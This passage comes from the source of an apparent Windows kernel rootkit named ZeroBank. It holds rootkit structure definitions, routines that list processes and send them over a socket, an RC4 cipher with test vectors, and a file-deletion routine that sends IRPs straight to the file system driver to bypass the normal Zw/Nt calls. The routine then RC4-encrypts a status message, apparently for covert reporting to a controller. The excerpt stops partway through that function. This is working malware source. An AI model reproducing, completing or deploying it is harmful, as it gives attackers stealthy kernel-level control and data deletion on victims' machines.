19 | BOOLEAN IsProcessProtected;
20 | }ROOTKIT_PROCESS_ENTRY, *PROOTKIT_PROCESS_ENTRY;
21 |
22 | typedef struct _ROOTKIT_PROCESS_LIST_HEAD {
23 |
24 | ULONG NumberOfProcesses;
25 | #ifndef _WIN64
26 | LIST_ENTRY Entry;
27 | #else
28 | LIST_ENTRY64 Entry;
29 | #endif
30 | }ROOTKIT_PROCESS_LIST_HEAD, *PROOTKIT_PROCESS_LIST_HEAD;
31 |
32 | // LOW AMOUNT INFORMATION
33 |
34 | typedef struct _ROOTKIT_LOW_AMOUNT_INFORMATION_KERNEL
35 | {
36 | LARGE_INTEGER KernelTime;
37 | LARGE_INTEGER UserTime;
38 | LARGE_INTEGER CreateTime;
39 | LARGE_INTEGER ExitTime;
40 | LONG NumberOfHandles;
41 | }ROOTKIT_LOW_AMOUNT_INFORMATION_KERNEL, *PROOTKIT_LOW_AMOUNT_INFORMATION_KERNEL;
42 |
43 | // USER SPACE STRUCTURE
44 |
45 | typedef struct _ROOTKIT_LOW_AMOUNT_USERMODE
46 | {
47 | CHAR Ktime[255];
48 | CHAR Utime[255];
49 | CHAR CreateTime[255];
50 | CHAR ExitTime[255];
51 | }ROOTKIT_LOW_AMOUNT_USERMODE, *PROOTKIT_LOW_AMOUNT_USERMODE;
52 |
53 | typedef enum _ROOTKIT_INFORMATION_AMOUNT
54 | {
55 | LowAmountInformation = 1,
56 | MedimumAmountInformation,
57 | HighAmountInformation
58 |
59 | }ROOTKIT_INFORMATION_AMOUNT;
60 |
61 | typedef enum _THREAD_STATE {
62 | StateInitialized,
63 | StateReady,
64 | StateRunning,
65 | StateStandby,
66 | StateTerminated,
67 | StateWait,
68 | StateTransition,
69 | StateUnknown
70 | }THREAD_STATE;
71 |
72 | typedef struct _SYSTEM_THREAD {
73 | LARGE_INTEGER KernelTime;
74 | LARGE_INTEGER UserTime;
75 | LARGE_INTEGER CreateTime;
76 | ULONG WaitTime;
77 | PVOID StartAddress;
78 | CLIENT_ID ClientId;
79 | ULONG Priority;
80 | LONG BasePriority;
81 | ULONG ContextSwitchCount;
82 | THREAD_STATE State;
83 | ULONG WaitReason;
84 | }SYSTEM_THREAD, *PSYSTEM_THREAD;
85 |
86 |
87 | typedef struct _SYSTEM_PROCESS_INFORMATION {
88 | ULONG NextEntryOffset;
89 | ULONG NumberOfThreads;
90 | LARGE_INTEGER Reserved[3];
91 | LARGE_INTEGER CreateTime;
92 | LARGE_INTEGER UserTime;
93 | LARGE_INTEGER KernelTime;
94 | UNICODE_STRING ImageName;
95 | ULONG BasePriority;
96 | HANDLE ProcessId;
97 | HANDLE ParentProcessId;
98 | ULONG HandleCount;
99 | ULONG Reserved2[2];
100 | VM_COUNTERS VMCounters;
101 | IO_COUNTERS IOCounters;
102 | SYSTEM_THREAD Threads[1];
103 | }SYSTEM_PROCESS_INFORMATION, *PSYSTEM_PROCESS_INFORMATION;
104 |
105 | /*/////////////////////////////////////
106 | //
107 | // ROOTKIT ROUTINES
108 | //
109 | *//////////////////////////////////////
110 |
111 | PROOTKIT_PROCESS_LIST_HEAD g_process_head;
112 | PROOTKIT_PROCESS_LIST_HEAD kernel_get_processes(IN PROOTKIT_API_HASH Hash);
113 | ULONG rk_copy_process_list_to_buffer(IN PROOTKIT_PROCESS_ENTRY Buffer, IN PROOTKIT_API_HASH Hash);
114 | BOOLEAN rk_send_process_to_userspace(IN PFILE_OBJECT SocketObject, IN PROOTKIT_API_HASH Hash);
115 |
116 |
117 | /*///////////////////////////////////
118 | //
119 | // Kernel Ps Routines
120 | //
121 | *////////////////////////////////////
122 |
123 | NTKERNELAPI NTSTATUS PsLookupProcessByProcessId(IN HANDLE Handle, OUT PEPROCESS *Eprocess);
124 | NTKERNELAPI BOOLEAN PsIsProtectedProcess(IN PEPROCESS Eprocess);
125 | NTKERNELAPI PPEB PsGetProcessPeb(IN PEPROCESS Eprocess);
126 |
127 |
128 | /*/////////////////////////////////
129 | //
130 | // INTERNAL PROCEDURES
131 | //
132 | *//////////////////////////////////
133 |
134 |
135 | typedef struct _KTHREAD
136 | {
137 | DISPATCHER_HEADER Header;
138 | UINT64 CycleTime;
139 | ULONG HighCycleTime;
140 | UINT64 QuantumTarget;
141 | PVOID InitialStack;
142 | PVOID StackLimit;
143 | PVOID KernelStack;
144 | ULONG ThreadLock;
145 | union
146 | {
147 | KAPC_STATE ApcState;
148 | UCHAR ApcStateFill[23];
149 | };
150 | CHAR Priority;
151 | USHORT NextProcessor;
152 | USHORT DeferredProcessor;
153 | ULONG ApcQueueLock;
154 | ULONG ContextSwitches;
155 | UCHAR State;
156 | UCHAR NpxState;
157 | UCHAR WaitIrql;
158 | CHAR WaitMode;
159 | LONG WaitStatus;
160 | union
161 | {
162 | PKWAIT_BLOCK WaitBlockList;
163 | PKGATE GateObject;
164 | };
165 | union
166 | {
167 | ULONG KernelStackResident : 1;
168 | ULONG ReadyTransition : 1;
169 | ULONG ProcessReadyQueue : 1;
170 | ULONG WaitNext : 1;
171 | ULONG SystemAffinityActive : 1;
172 | ULONG Alertable : 1;
173 | ULONG GdiFlushActive : 1;
174 | ULONG Reserved : 25;
175 | LONG MiscFlags;
176 | };
177 | UCHAR WaitReason;
178 | UCHAR SwapBusy;
179 | UCHAR Alerted[2];
180 | union
181 | {
182 | LIST_ENTRY WaitListEntry;
183 | SINGLE_LIST_ENTRY SwapListEntry;
184 | };
185 | PKQUEUE Queue;
186 | ULONG WaitTime;
187 | union
188 | {
189 | struct
190 | {
191 | SHORT KernelApcDisable;
192 | SHORT SpecialApcDisable;
193 | };
194 | ULONG CombinedApcDisable;
195 | };
196 | PVOID Teb;
197 | union
198 | {
199 | KTIMER Timer;
200 | UCHAR TimerFill[40];
201 | };
202 | union
203 | {
204 | ULONG AutoAlignment : 1;
205 | ULONG DisableBoost : 1;
206 | ULONG EtwStackTraceApc1Inserted : 1;
207 | ULONG EtwStackTraceApc2Inserted : 1;
208 | ULONG CycleChargePending : 1;
209 | ULONG CalloutActive : 1;
210 | ULONG ApcQueueable : 1;
211 | ULONG EnableStackSwap : 1;
212 | ULONG GuiThread : 1;
213 | ULONG ReservedFlags : 23;
214 | LONG ThreadFlags;
215 | };
216 | union
217 | {
218 | KWAIT_BLOCK WaitBlock[4];
219 | struct
220 | {
221 | UCHAR WaitBlockFill0[23];
222 | UCHAR IdealProcessor;
223 | };
224 | struct
225 | {
226 | UCHAR WaitBlockFill1[47];
227 | CHAR PreviousMode;
228 | };
229 | struct
230 | {
231 | UCHAR WaitBlockFill2[71];
232 | UCHAR ResourceIndex;
233 | };
234 | UCHAR WaitBlockFill3[95];
235 | };
236 | UCHAR LargeStack;
237 | LIST_ENTRY QueueListEntry;
238 | //PKTRAP_FRAME TrapFrame;
239 | PVOID FirstArgument;
240 | union
241 | {
242 | PVOID CallbackStack;
243 | ULONG CallbackDepth;
244 | };
245 | PVOID ServiceTable;
246 | UCHAR ApcStateIndex;
247 | CHAR BasePriority;
248 | CHAR PriorityDecrement;
249 | UCHAR Preempted;
250 | UCHAR AdjustReason;
251 | CHAR AdjustIncrement;
252 | UCHAR Spare01;
253 | CHAR Saturation;
254 | ULONG SystemCallNumber;
255 | ULONG Spare02;
256 | ULONG UserAffinity;
257 | PKPROCESS Process;
258 | ULONG Affinity;
259 | PKAPC_STATE ApcStatePointer[2];
260 | union
261 | {
262 | KAPC_STATE SavedApcState;
263 | UCHAR SavedApcStateFill[23];
264 | };
265 | CHAR FreezeCount;
266 | CHAR SuspendCount;
267 | UCHAR UserIdealProcessor;
268 | UCHAR Spare03;
269 | UCHAR Iopl;
270 | PVOID Win32Thread;
271 | PVOID StackBase;
272 | union
273 | {
274 | KAPC SuspendApc;
275 | struct
276 | {
277 | UCHAR SuspendApcFill0[1];
278 | CHAR Spare04;
279 | };
280 | struct
281 | {
282 | UCHAR SuspendApcFill1[3];
283 | UCHAR QuantumReset;
284 | };
285 | struct
286 | {
287 | UCHAR SuspendApcFill2[4];
288 | ULONG KernelTime;
289 | };
290 | struct
291 | {
292 | UCHAR SuspendApcFill3[36];
293 | //PKPRCB WaitPrcb;
294 | };
295 | struct
296 | {
297 | UCHAR SuspendApcFill4[40];
298 | PVOID LegoData;
299 | };
300 | UCHAR SuspendApcFill5[47];
301 | };
302 | UCHAR PowerState;
303 | ULONG UserTime;
304 | union
305 | {
306 | KSEMAPHORE SuspendSemaphore;
307 | UCHAR SuspendSemaphorefill[20];
308 | };
309 | ULONG SListFaultCount;
310 | LIST_ENTRY ThreadListEntry;
311 | LIST_ENTRY MutantListHead;
312 | PVOID SListFaultAddress;
313 | PVOID MdlForLockedTeb;
314 | } KTHREAD, *PKTHREAD;
315 |
316 | /*/////////////////////////////////////
317 | //
318 | // HANDLE RELATED INTERNAL STRUCTURES
319 | //
320 | *//////////////////////////////////////
321 |
322 | typedef struct _HANDLE_TABLE_ENTRY_INFO
323 | {
324 | ULONG AuditMask;
325 | } HANDLE_TABLE_ENTRY_INFO, *PHANDLE_TABLE_ENTRY_INFO;
326 |
327 | typedef struct _HANDLE_TABLE_ENTRY
328 | {
329 | union
330 | {
331 | PVOID Object;
332 | ULONG ObAttributes;
333 | PHANDLE_TABLE_ENTRY_INFO InfoTable;
334 | ULONG Value;
335 | };
336 | union
337 | {
338 | ULONG GrantedAccess;
339 | struct
340 | {
341 | USHORT GrantedAccessIndex;
342 | USHORT CreatorBackTraceIndex;
343 | };
344 | LONG NextFreeTableEntry;
345 | };
346 | } HANDLE_TABLE_ENTRY, *PHANDLE_TABLE_ENTRY;
347 |
348 | typedef struct _HANDLE_TRACE_DB_ENTRY
349 | {
350 | CLIENT_ID ClientId;
351 | PVOID Handle;
352 | ULONG Type;
353 | VOID * StackTrace[16];
354 | } HANDLE_TRACE_DB_ENTRY, *PHANDLE_TRACE_DB_ENTRY;
355 |
356 | typedef struct _HANDLE_TRACE_DEBUG_INFO
357 | {
358 | LONG RefCount;
359 | ULONG TableSize;
360 | ULONG BitMaskFlags;
361 | FAST_MUTEX CloseCompactionLock;
362 | ULONG CurrentStackIndex;
363 | HANDLE_TRACE_DB_ENTRY TraceDb[1];
364 | } HANDLE_TRACE_DEBUG_INFO, *PHANDLE_TRACE_DEBUG_INFO;
365 |
366 | typedef struct _HANDLE_TABLE
367 | {
368 | ULONG TableCode;
369 | PEPROCESS QuotaProcess;
370 | PVOID UniqueProcessId;
371 | EX_PUSH_LOCK HandleLock;
372 | LIST_ENTRY HandleTableList;
373 | EX_PUSH_LOCK HandleContentionEvent;
374 | PHANDLE_TRACE_DEBUG_INFO DebugInfo;
375 | LONG ExtraInfoPages;
376 | ULONG Flags;
377 | ULONG StrictFIFO : 1;
378 | LONG FirstFreeHandle;
379 | PHANDLE_TABLE_ENTRY LastFreeHandleEntry;
380 | LONG HandleCount;
381 | ULONG NextHandleNeedingPool;
382 | } HANDLE_TABLE, *PHANDLE_TABLE;
383 |
--------------------------------------------------------------------------------
/ZeroBank!kit/rc4.c:
--------------------------------------------------------------------------------
1 | #include "common.h"
2 |
3 | void rc4_init(rc4_ctx *ctx, const uint8 *key, uint32 key_len)
4 | {
5 | uint32 i;
6 | uint8 *s;
7 | uint8 t, tmp;
8 |
9 | t = 0;
10 | s = ctx->se;
11 |
12 | assert(key_len > 0 && key_len <= 256);
13 |
14 | ctx->pose = 1;
15 | ctx->posd = 1;
16 | ctx->te = 0;
17 | ctx->td = 0;
18 |
19 | kimemcpy(s, rc4_table, 256);
20 |
21 | for (i = 0; i < 256; i++)
22 | {
23 | t += s[i] + key[i % key_len];
24 | SWAP_BYTES(s[i], s[t]);
25 | }
26 |
27 | kimemcpy(ctx->sd, s, 256);
28 | }
29 |
30 | void rc4_encrypt(rc4_ctx *ctx, const uint8 *src, uint8 *dst, uint32 len)
31 | {
32 | uint32 i;
33 | uint32 pos;
34 | const uint8 *new_src;
35 | uint8 *s, *new_dst;
36 | uint8 t, tmp;
37 |
38 | pos = ctx->pose;
39 | s = ctx->se;
40 | t = ctx->te;
41 |
42 | new_src = src - pos;
43 | new_dst = dst - pos;
44 |
45 | for (i = pos; i < len + pos; i++)
46 | {
47 | RC4_CRYPT();
48 | }
49 |
50 | ctx->pose = i;
51 | ctx->te = t;
52 | }
53 |
54 | void rc4_decrypt(rc4_ctx *ctx, const uint8 *src, uint8 *dst, uint32 len)
55 | {
56 | uint32 i;
57 | uint32 pos;
58 | const uint8 *new_src;
59 | uint8 *s, *new_dst;
60 | uint8 t, tmp;
61 |
62 | pos = ctx->posd;
63 | s = ctx->sd;
64 | t = ctx->td;
65 |
66 | new_src = src - pos;
67 | new_dst = dst - pos;
68 |
69 | for (i = pos; i < len + pos; i++)
70 | {
71 | RC4_CRYPT();
72 | }
73 |
74 | ctx->posd = i;
75 | ctx->td = t;
76 | }
--------------------------------------------------------------------------------
/ZeroBank!kit/rc4.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | #ifndef RC4_H
4 | #define RC4_H
5 | #define assert(ignore)((void) 0)
6 |
7 | #define RC4_KEY_1 1
8 | #define RC4_KEY_2 2
9 | #define RC4_KEY_3 3
10 |
11 |
12 | typedef unsigned char uint8;
13 | typedef unsigned int uint32;
14 |
15 |
16 |
17 | typedef struct
18 | {
19 | uint8 se[256], sd[256];
20 | uint32 pose, posd;
21 | uint8 te, td;
22 | } rc4_ctx;
23 |
24 | void rc4_init(rc4_ctx *ctx, const uint8 *key, uint32 key_len);
25 | void rc4_encrypt(rc4_ctx *ctx, const uint8 *src, uint8 *dst, uint32 len);
26 | void rc4_decrypt(rc4_ctx *ctx, const uint8 *src, uint8 *dst, uint32 len);
27 |
28 |
29 |
30 |
31 | #endif /* !RC4_H */
32 |
33 | static const uint8 rc4_table[256] = {
34 | 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0a, 0x0b,
35 | 0x0c, 0x0d, 0x0e, 0x0f, 0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17,
36 | 0x18, 0x19, 0x1a, 0x1b, 0x1c, 0x1d, 0x1e, 0x1f, 0x20, 0x21, 0x22, 0x23,
37 | 0x24, 0x25, 0x26, 0x27, 0x28, 0x29, 0x2a, 0x2b, 0x2c, 0x2d, 0x2e, 0x2f,
38 | 0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x3a, 0x3b,
39 | 0x3c, 0x3d, 0x3e, 0x3f, 0x40, 0x41, 0x42, 0x43, 0x44, 0x45, 0x46, 0x47,
40 | 0x48, 0x49, 0x4a, 0x4b, 0x4c, 0x4d, 0x4e, 0x4f, 0x50, 0x51, 0x52, 0x53,
41 | 0x54, 0x55, 0x56, 0x57, 0x58, 0x59, 0x5a, 0x5b, 0x5c, 0x5d, 0x5e, 0x5f,
42 | 0x60, 0x61, 0x62, 0x63, 0x64, 0x65, 0x66, 0x67, 0x68, 0x69, 0x6a, 0x6b,
43 | 0x6c, 0x6d, 0x6e, 0x6f, 0x70, 0x71, 0x72, 0x73, 0x74, 0x75, 0x76, 0x77,
44 | 0x78, 0x79, 0x7a, 0x7b, 0x7c, 0x7d, 0x7e, 0x7f, 0x80, 0x81, 0x82, 0x83,
45 | 0x84, 0x85, 0x86, 0x87, 0x88, 0x89, 0x8a, 0x8b, 0x8c, 0x8d, 0x8e, 0x8f,
46 | 0x90, 0x91, 0x92, 0x93, 0x94, 0x95, 0x96, 0x97, 0x98, 0x99, 0x9a, 0x9b,
47 | 0x9c, 0x9d, 0x9e, 0x9f, 0xa0, 0xa1, 0xa2, 0xa3, 0xa4, 0xa5, 0xa6, 0xa7,
48 | 0xa8, 0xa9, 0xaa, 0xab, 0xac, 0xad, 0xae, 0xaf, 0xb0, 0xb1, 0xb2, 0xb3,
49 | 0xb4, 0xb5, 0xb6, 0xb7, 0xb8, 0xb9, 0xba, 0xbb, 0xbc, 0xbd, 0xbe, 0xbf,
50 | 0xc0, 0xc1, 0xc2, 0xc3, 0xc4, 0xc5, 0xc6, 0xc7, 0xc8, 0xc9, 0xca, 0xcb,
51 | 0xcc, 0xcd, 0xce, 0xcf, 0xd0, 0xd1, 0xd2, 0xd3, 0xd4, 0xd5, 0xd6, 0xd7,
52 | 0xd8, 0xd9, 0xda, 0xdb, 0xdc, 0xdd, 0xde, 0xdf, 0xe0, 0xe1, 0xe2, 0xe3,
53 | 0xe4, 0xe5, 0xe6, 0xe7, 0xe8, 0xe9, 0xea, 0xeb, 0xec, 0xed, 0xee, 0xef,
54 | 0xf0, 0xf1, 0xf2, 0xf3, 0xf4, 0xf5, 0xf6, 0xf7, 0xf8, 0xf9, 0xfa, 0xfb,
55 | 0xfc, 0xfd, 0xfe, 0xff };
56 |
57 | #define SWAP_BYTES(x, y) \
58 | { \
59 | tmp = x; \
60 | x = y; \
61 | y = tmp; \
62 | }
63 |
64 | #define RC4_CRYPT() \
65 | { \
66 | t += s[(uint8) i]; \
67 | SWAP_BYTES(s[(uint8) i], s[t]); \
68 | new_dst[i] = new_src[i] ^ s[(uint8) (s[(uint8) i] + s[t])]; \
69 | }
70 |
71 | /*
72 | * Test vectors from K. Kaukonen and R. Thayer (SSH) Internet Draft
73 | * for Arcfour algorithm
74 | */
75 |
76 | /* Test vectors from [CRYPTLIB] */
77 |
78 | static const uint8 pt1[8] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 };
79 | static const uint8 key1[8] = { 0x01, 0x23, 0x45, 0x67, 0x89, 0xab, 0xcd, 0xef };
80 | static const uint8 ct1[8] = { 0x74, 0x94, 0xc2, 0xe7, 0x10, 0x4b, 0x08, 0x79 };
81 |
82 | /* Test vectors from [COMMERCE] */
83 |
84 | static const uint8 pt2[5] = { 0xdc, 0xee, 0x4c, 0xf9, 0x2c };
85 | static const uint8 key2[5] = { 0x61, 0x8a, 0x63, 0xd2, 0xfb };
86 | static const uint8 ct2[5] = { 0xf1, 0x38, 0x29, 0xc9, 0xde };
87 |
88 | /* Test vectors from [SSH ARCFOUR] */
89 |
90 | static const uint8 pt3[309] = {
91 | 0x52, 0x75, 0x69, 0x73, 0x6c, 0x69, 0x6e, 0x6e, 0x75, 0x6e, 0x20, 0x6c,
92 | 0x61, 0x75, 0x6c, 0x75, 0x20, 0x6b, 0x6f, 0x72, 0x76, 0x69, 0x73, 0x73,
93 | 0x73, 0x61, 0x6e, 0x69, 0x2c, 0x20, 0x74, 0xe4, 0x68, 0x6b, 0xe4, 0x70,
94 | 0xe4, 0x69, 0x64, 0x65, 0x6e, 0x20, 0x70, 0xe4, 0xe4, 0x6c, 0x6c, 0xe4,
95 | 0x20, 0x74, 0xe4, 0x79, 0x73, 0x69, 0x6b, 0x75, 0x75, 0x2e, 0x20, 0x4b,
96 | 0x65, 0x73, 0xe4, 0x79, 0xf6, 0x6e, 0x20, 0x6f, 0x6e, 0x20, 0x6f, 0x6e,
97 | 0x6e, 0x69, 0x20, 0x6f, 0x6d, 0x61, 0x6e, 0x61, 0x6e, 0x69, 0x2c, 0x20,
98 | 0x6b, 0x61, 0x73, 0x6b, 0x69, 0x73, 0x61, 0x76, 0x75, 0x75, 0x6e, 0x20,
99 | 0x6c, 0x61, 0x61, 0x6b, 0x73, 0x6f, 0x74, 0x20, 0x76, 0x65, 0x72, 0x68,
100 | 0x6f, 0x75, 0x75, 0x2e, 0x20, 0x45, 0x6e, 0x20, 0x6d, 0x61, 0x20, 0x69,
101 | 0x6c, 0x6f, 0x69, 0x74, 0x73, 0x65, 0x2c, 0x20, 0x73, 0x75, 0x72, 0x65,
102 | 0x20, 0x68, 0x75, 0x6f, 0x6b, 0x61, 0x61, 0x2c, 0x20, 0x6d, 0x75, 0x74,
103 | 0x74, 0x61, 0x20, 0x6d, 0x65, 0x74, 0x73, 0xe4, 0x6e, 0x20, 0x74, 0x75,
104 | 0x6d, 0x6d, 0x75, 0x75, 0x73, 0x20, 0x6d, 0x75, 0x6c, 0x6c, 0x65, 0x20,
105 | 0x74, 0x75, 0x6f, 0x6b, 0x61, 0x61, 0x2e, 0x20, 0x50, 0x75, 0x75, 0x6e,
106 | 0x74, 0x6f, 0x20, 0x70, 0x69, 0x6c, 0x76, 0x65, 0x6e, 0x2c, 0x20, 0x6d,
107 | 0x69, 0x20, 0x68, 0x75, 0x6b, 0x6b, 0x75, 0x75, 0x2c, 0x20, 0x73, 0x69,
108 | 0x69, 0x6e, 0x74, 0x6f, 0x20, 0x76, 0x61, 0x72, 0x61, 0x6e, 0x20, 0x74,
109 | 0x75, 0x75, 0x6c, 0x69, 0x73, 0x65, 0x6e, 0x2c, 0x20, 0x6d, 0x69, 0x20,
110 | 0x6e, 0x75, 0x6b, 0x6b, 0x75, 0x75, 0x2e, 0x20, 0x54, 0x75, 0x6f, 0x6b,
111 | 0x73, 0x75, 0x74, 0x20, 0x76, 0x61, 0x6e, 0x61, 0x6d, 0x6f, 0x6e, 0x20,
112 | 0x6a, 0x61, 0x20, 0x76, 0x61, 0x72, 0x6a, 0x6f, 0x74, 0x20, 0x76, 0x65,
113 | 0x65, 0x6e, 0x2c, 0x20, 0x6e, 0x69, 0x69, 0x73, 0x74, 0xe4, 0x20, 0x73,
114 | 0x79, 0x64, 0xe4, 0x6d, 0x65, 0x6e, 0x69, 0x20, 0x6c, 0x61, 0x75, 0x6c,
115 | 0x75, 0x6e, 0x20, 0x74, 0x65, 0x65, 0x6e, 0x2e, 0x20, 0x2d, 0x20, 0x45,
116 | 0x69, 0x6e, 0x6f, 0x20, 0x4c, 0x65, 0x69, 0x6e, 0x6f };
117 |
118 | static const uint8 key3[16] = {
119 | 0x29, 0x04, 0x19, 0x72, 0xfb, 0x42, 0xba, 0x5f,
120 | 0xc7, 0x12, 0x77, 0x12, 0xf1, 0x38, 0x29, 0xc9 };
121 |
122 | static const uint8 ct3[309] = {
123 | 0x35, 0x81, 0x86, 0x99, 0x90, 0x01, 0xe6, 0xb5, 0xda, 0xf0, 0x5e, 0xce,
124 | 0xeb, 0x7e, 0xee, 0x21, 0xe0, 0x68, 0x9c, 0x1f, 0x00, 0xee, 0xa8, 0x1f,
125 | 0x7d, 0xd2, 0xca, 0xae, 0xe1, 0xd2, 0x76, 0x3e, 0x68, 0xaf, 0x0e, 0xad,
126 | 0x33, 0xd6, 0x6c, 0x26, 0x8b, 0xc9, 0x46, 0xc4, 0x84, 0xfb, 0xe9, 0x4c,
127 | 0x5f, 0x5e, 0x0b, 0x86, 0xa5, 0x92, 0x79, 0xe4, 0xf8, 0x24, 0xe7, 0xa6,
128 | 0x40, 0xbd, 0x22, 0x32, 0x10, 0xb0, 0xa6, 0x11, 0x60, 0xb7, 0xbc, 0xe9,
129 | 0x86, 0xea, 0x65, 0x68, 0x80, 0x03, 0x59, 0x6b, 0x63, 0x0a, 0x6b, 0x90,
130 | 0xf8, 0xe0, 0xca, 0xf6, 0x91, 0x2a, 0x98, 0xeb, 0x87, 0x21, 0x76, 0xe8,
131 | 0x3c, 0x20, 0x2c, 0xaa, 0x64, 0x16, 0x6d, 0x2c, 0xce, 0x57, 0xff, 0x1b,
132 | 0xca, 0x57, 0xb2, 0x13, 0xf0, 0xed, 0x1a, 0xa7, 0x2f, 0xb8, 0xea, 0x52,
133 | 0xb0, 0xbe, 0x01, 0xcd, 0x1e, 0x41, 0x28, 0x67, 0x72, 0x0b, 0x32, 0x6e,
134 | 0xb3, 0x89, 0xd0, 0x11, 0xbd, 0x70, 0xd8, 0xaf, 0x03, 0x5f, 0xb0, 0xd8,
135 | 0x58, 0x9d, 0xbc, 0xe3, 0xc6, 0x66, 0xf5, 0xea, 0x8d, 0x4c, 0x79, 0x54,
136 | 0xc5, 0x0c, 0x3f, 0x34, 0x0b, 0x04, 0x67, 0xf8, 0x1b, 0x42, 0x59, 0x61,
137 | 0xc1, 0x18, 0x43, 0x07, 0x4d, 0xf6, 0x20, 0xf2, 0x08, 0x40, 0x4b, 0x39,
138 | 0x4c, 0xf9, 0xd3, 0x7f, 0xf5, 0x4b, 0x5f, 0x1a, 0xd8, 0xf6, 0xea, 0x7d,
139 | 0xa3, 0xc5, 0x61, 0xdf, 0xa7, 0x28, 0x1f, 0x96, 0x44, 0x63, 0xd2, 0xcc,
140 | 0x35, 0xa4, 0xd1, 0xb0, 0x34, 0x90, 0xde, 0xc5, 0x1b, 0x07, 0x11, 0xfb,
141 | 0xd6, 0xf5, 0x5f, 0x79, 0x23, 0x4d, 0x5b, 0x7c, 0x76, 0x66, 0x22, 0xa6,
142 | 0x6d, 0xe9, 0x2b, 0xe9, 0x96, 0x46, 0x1d, 0x5e, 0x4d, 0xc8, 0x78, 0xef,
143 | 0x9b, 0xca, 0x03, 0x05, 0x21, 0xe8, 0x35, 0x1e, 0x4b, 0xae, 0xd2, 0xfd,
144 | 0x04, 0xf9, 0x46, 0x73, 0x68, 0xc4, 0xad, 0x6a, 0xc1, 0x86, 0xd0, 0x82,
145 | 0x45, 0xb2, 0x63, 0xa2, 0x66, 0x6d, 0x1f, 0x6c, 0x54, 0x20, 0xf1, 0x59,
146 | 0x9d, 0xfd, 0x9f, 0x43, 0x89, 0x21, 0xc2, 0xf5, 0xa4, 0x63, 0x93, 0x8c,
147 | 0xe0, 0x98, 0x22, 0x65, 0xee, 0xf7, 0x01, 0x79, 0xbc, 0x55, 0x3f, 0x33,
148 | 0x9e, 0xb1, 0xa4, 0xc1, 0xaf, 0x5f, 0x6a, 0x54, 0x7f };
149 |
--------------------------------------------------------------------------------
/ZeroBank!kit/rwqueryfilevol.c:
--------------------------------------------------------------------------------
1 | #include "common.h"
2 |
3 | /*////////////////////////////////////////////////////
4 | //
5 | // File: rwqueryfilevol.c
6 | //
7 | // Support routines for file deletion
8 | // file/volume information and reading
9 | // /writing
10 | // All functions calling underlying driver
11 | // directly instead of using Zw/Nt Functions
12 | //
13 | //
14 | */////////////////////////////////////////////////////
15 |
16 | NTSTATUS IopDeleteFile(IN PFILE_OBJECT socket, IN PCHAR FileName)
17 | {
18 | NTSTATUS st;
19 | HANDLE handle;
20 | OBJECT_ATTRIBUTES oa = { 0 };
21 | UNICODE_STRING ustr1 = { 0 };
22 | ANSI_STRING ansi = { 0 };
23 | IO_STATUS_BLOCK io = { 0 };
24 | KEVENT Event;
25 | PIRP Irp = NULL;
26 | PIO_STACK_LOCATION pio = NULL;
27 | PFILE_OBJECT FileObject = NULL;
28 | PDEVICE_OBJECT Device = NULL;
29 | FILE_DISPOSITION_INFORMATION filedis = { 0 };
30 | rc4_ctx ctx = { 0 };
31 | char out[50] = { 0 };
32 |
33 | char *msg = "[*] File successfully deleted";
34 | unsigned long length = kistrlen(msg);
35 |
36 | g_Hash._RtlInitAnsiString(&ansi, FileName);
37 | g_Hash._RtlAnsiStringToUnicodeString(&ustr1, &ansi, TRUE);
38 | InitializeObjectAttributes(&oa,
39 | &ustr1,
40 | OBJ_CASE_INSENSITIVE |
41 | OBJ_KERNEL_HANDLE,
42 | NULL,
43 | NULL);
44 |
45 | #ifndef _WIN64 && WINVER == _WIN32_WINNT_WIN7
46 |
47 | st = MyIopCreateFile(&handle, \
48 | FILE_READ_ATTRIBUTES, \
49 | &oa, \
50 | &io, \
51 | 0, \
52 | FILE_ATTRIBUTE_NORMAL, \
53 | FILE_SHARE_DELETE, \
54 | FILE_OPEN, \
55 | FILE_NON_DIRECTORY_FILE |
56 | FILE_SYNCHRONOUS_IO_NONALERT, \
57 | NULL, \
58 | 0, \
59 | CreateFileTypeNone,
60 | NULL, \
61 | IO_NO_PARAMETER_CHECKING, \
62 | 0, \
63 | NULL);
64 |
65 | #else
66 |
67 | st = IoCreateFileEx(&handle, FILE_READ_ATTRIBUTES, &oa, &io, 0, FILE_ATTRIBUTE_NORMAL, FILE_SHARE_DELETE, FILE_OPEN,
68 | FILE_NON_DIRECTORY_FILE | FILE_SYNCHRONOUS_IO_NONALERT, NULL, 0, CreateFileTypeNone, NULL, IO_NO_PARAMETER_CHECKING, 0, NULL);
69 | #endif
70 |
71 | if (NT_SUCCESS(st))
72 | {
73 | st = g_Hash._ObReferenceObjectByHandle(handle, DELETE, *g_Hash._IoFileObjectType, KernelMode, (PVOID*)&FileObject, NULL);
74 | if (NT_SUCCESS(st))
75 | {
76 | Device = g_Hash._IoGetRelatedDeviceObject(FileObject);
77 | if (Device)
78 | {
79 | Irp = g_Hash._IoAllocateIrp(Device->StackSize, FALSE);
80 | if (Irp)
81 | {
82 | filedis.DeleteFile = TRUE;
83 |
84 | g_Hash._KeInitializeEvent(&Event, SynchronizationEvent, FALSE);
85 |
86 | Irp->AssociatedIrp.SystemBuffer = &filedis;
87 | Irp->RequestorMode = KernelMode;
88 | Irp->Flags = 0;
89 | Irp->UserIosb = &io;
90 | Irp->UserEvent = &Event;
91 | Irp->Tail.Overlay.Thread = (PKTHREAD)g_Hash._KeGetCurrentThread();
92 | Irp->Tail.Overlay.OriginalFileObject = FileObject;
93 |
94 | pio = Irp->Tail.Overlay.CurrentStackLocation - 1;
95 | pio->DeviceObject = Device;
96 | pio->FileObject = FileObject;
97 | pio->MajorFunction = IRP_MJ_SET_INFORMATION;
98 | pio->Parameters.SetFile.Length = sizeof(FILE_DISPOSITION_INFORMATION);
99 | pio->Parameters.SetFile.FileInformationClass = FileDispositionInformation;
100 |
101 | IoSetCompletionRoutine(Irp, QueryCompletion, NULL, TRUE, TRUE, TRUE);
102 |
103 | st = g_Hash._IofCallDriver(Device, Irp);
104 | if (st == STATUS_PENDING)
105 | g_Hash._KeWaitForSingleObject(&Event, Executive, KernelMode, TRUE, NULL);
106 |
107 |
108 | rc4_init(&ctx, key1, sizeof(key1));
109 | rc4_encrypt(&ctx, (const uint8*)msg, (uint8*)out, length);
110 |
